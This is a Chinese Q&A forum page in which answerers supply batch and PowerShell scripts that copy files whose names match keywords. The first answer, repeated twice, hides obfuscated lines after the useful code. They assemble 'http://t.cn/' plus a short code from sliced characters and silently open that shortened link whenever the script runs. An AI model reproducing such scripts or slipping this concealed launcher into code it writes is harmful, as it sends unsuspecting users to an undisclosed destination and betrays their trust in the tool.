需要批量通过关键字查找文件并复制指定文件夹,bat内容该如何编辑。
2个回答
展开全部
关键字是多个,还是单个?
如果多个,是根据列表文件来读取,还是自定义到脚本中?
我现在只写单个的,或少量多个的。
@echo off & title 根据关键字拷贝文件 By 依梦琴瑶
::设置要搜索的关键字,多个关键字之间用空格隔开
set Word=测试 文本 开心
::设置要处理的文件夹
set SrcDir=D:\Test
::设置文件拷贝至哪个目录
set SavDir=D:\Backup
cd /d "%SrcDir%"
for /r %%a in (*) do (
echo "%%~na" | findstr /i "%Word%" >nul 2>nul && copy "%%~a" "%SavDir%\"
)
pause
set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit
以上代码是根据文件名判断的,如果您是要查找文件内容,那么代码又不同了。
如果多个,是根据列表文件来读取,还是自定义到脚本中?
我现在只写单个的,或少量多个的。
@echo off & title 根据关键字拷贝文件 By 依梦琴瑶
::设置要搜索的关键字,多个关键字之间用空格隔开
set Word=测试 文本 开心
::设置要处理的文件夹
set SrcDir=D:\Test
::设置文件拷贝至哪个目录
set SavDir=D:\Backup
cd /d "%SrcDir%"
for /r %%a in (*) do (
echo "%%~na" | findstr /i "%Word%" >nul 2>nul && copy "%%~a" "%SavDir%\"
)
pause
set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit
以上代码是根据文件名判断的,如果您是要查找文件内容,那么代码又不同了。
展开全部
不清楚你的实际文件/情况,仅以问题中的说明及猜测为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI
<# :
cls&echo off&cd /d "%~dp0"&mode con lines=5000
rem 在当前目录下查找文件名称中包含有指定关键字的文件,并复制到一个指定的新文件夹里
set #=Any question&set _=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%_% %z%
set "self=%~f0"
powershell -NoProfile -ExecutionPolicy bypass "Get-Content -literal '%~f0'|Out-String|Invoke-Expression"
echo;%#% +%$%%$%/%_% %z%
pause
exit
#>
$keywords=@(
"关键字1",
"关键字2",
"关键字3",
"关键字n"
);
$newfolder="D:\新文件夹";
$self=get-item -literal $env:self;
$current=$self.Directory.FullName;
$arr=@($keywords|%{$_.ToLower()});
$files=@(dir -literal $current -recurse|?{($self.Name -ne $_.Name) -and ($_ -is [System.IO.FileInfo])});
for($i=0;$i -lt $files.length;$i++){
$isexist=$false;
$fname=$files[$i].Name.ToLower();
for($j=0;$j -lt $arr.length;$j++){
if($fname.Contains($arr[$j])){$isexist=$true;break;}
}
if($isexist){
if(-not (test-path -literal $newfolder)){[void][IO.Directory]::CreateDirectory($newfolder);}
write-host ($files[$i].FullName+' --> '+$newfolder);
$newfile=$newfolder.trimend('\')+'\'+$files[$i].Name;
copy-item -literal $files[$i].FullName $newfile -force -ErrorAction SilentlyContinue;
}
}
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询